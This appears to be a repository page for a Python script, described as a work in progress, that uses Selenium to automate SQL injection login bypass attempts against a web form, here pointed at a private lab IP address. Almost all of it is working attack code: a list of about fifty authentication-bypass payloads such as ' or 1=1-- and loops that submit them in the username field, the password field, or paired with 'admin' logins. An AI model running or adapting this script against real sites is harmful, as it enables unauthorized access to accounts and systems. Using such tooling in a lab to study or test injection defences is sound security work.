-
Notifications
You must be signed in to change notification settings - Fork 0
/
LogonInjectionSQL.py
132 lines (112 loc) · 3.87 KB
/
LogonInjectionSQL.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# This script is used for basic SQL injection on login/password screens.
# It is a work in progress
# Written by David Odza
from selenium import webdriver
from selenium.webdriver.common.action_chains import ActionChains
from selenium.common.exceptions import NoSuchElementException
import time
################## YOU'LL CHANGE THE CHROME DRIVER PATH TO YOUR OWN ##################
#setting path to chrome driver
chrome_path = r"C:\Users\David\Downloads\chromedriver_win32\chromedriver.exe"
################## END OF CHROME DRIVER PATH CHANGE ##################
driver = webdriver.Chrome(chrome_path)
url = "http://192.168.226.128/?page=login"
driver.get(url)
################## YOU'LL CHANGE THE 3 VARIABLES BELOW ##################
#login input XPath
loginX = """//*[@id="user"]"""
#password input XPath
passX = """//*[@id="pass"]"""
#login button XPath
loginButtonX = """/html/body/center/form/input[3]"""
################## END OF VARIABLES TO CHANGE ##################
quote = '"'
simpleSQL = [
"""admin' or 1=1""",
"""admin' --""",
"""admin' #""",
"""admin'/*""",
"""' or 1=1--""",
"""' or 1=1#""",
"""' or 1=1/*""",
"""') or '1'='1--""",
"""') or ('1'='1--""",
"""' or ''='""",
"""'-'""",
"""' '""",
"""'&'""",
"""'^'""",
"""'*'""",
"""' or ''-'""",
"""' or '' '""",
"""' or ''&'""",
"""' or ''^'""",
"""' or ''*'""",
quote + "-" + quote,
quote + " " + quote,
quote + "&" + quote,
quote + "^" + quote,
quote + "*" + quote,
quote + " or " + quote + quote + "-" + quote,
quote + " or " + quote + quote + " " + quote,
quote + " or " + quote + quote + "&" + quote,
quote + " or " + quote + quote + "^" + quote,
quote + " or " + quote + quote + "*" + quote,
"""or true--""",
"""" or true--""",
"""' or true--""",
"""") or true--""",
"""') or true--""",
"""' or 'x'='x""",
"""') or ('x')=('x""",
"""')) or (('x'))=(('x""",
quote + " or " + quote + "x" + quote + "=" + quote + "x",
quote + ") or (" + quote + "x" + quote + ")=(" + quote + "x",
quote + ")) or ((" + quote + "x" + quote + "))=((" + quote + "x"
]
logins = [
"admin",
"Admin"
]
#username and password
for SQL in simpleSQL:
driver.get(url)
loginInput = driver.find_element_by_xpath(loginX)
loginInput.send_keys(SQL)
pwInput = driver.find_element_by_xpath(passX)
pwInput.send_keys(SQL)
print ("Trying User & PW = " + SQL)
driver.find_element_by_xpath(loginButtonX).click()
#Second click should stop script on success b/c button not found
#driver.find_element_by_xpath(loginButtonX).click()
#only username
for SQL in simpleSQL:
driver.get(url)
loginInput = driver.find_element_by_xpath(loginX)
loginInput.send_keys(SQL)
print ("Trying User = " + SQL)
driver.find_element_by_xpath(loginButtonX).click()
#Second click should stop script on success b/c button not found
#driver.find_element_by_xpath(loginButtonX).click()
#only password
for SQL in simpleSQL:
driver.get(url)
pwInput = driver.find_element_by_xpath(passX)
pwInput.send_keys(SQL)
print ("Trying PW = " + SQL)
driver.find_element_by_xpath(loginButtonX).click()
#Second click should stop script on success b/c button not found
#driver.find_element_by_xpath(loginButtonX).click()
#only password
for SQL in simpleSQL:
for login in logins:
driver.get(url)
loginInput = driver.find_element_by_xpath(loginX)
loginInput.send_keys(login)
pwInput = driver.find_element_by_xpath(passX)
pwInput.send_keys(SQL)
print ("Trying User = " + login + "& PW = " + SQL)
driver.find_element_by_xpath(loginButtonX).click()
#Second click should stop script on success b/c button not found
#driver.find_element_by_xpath(loginButtonX).click()
print("done")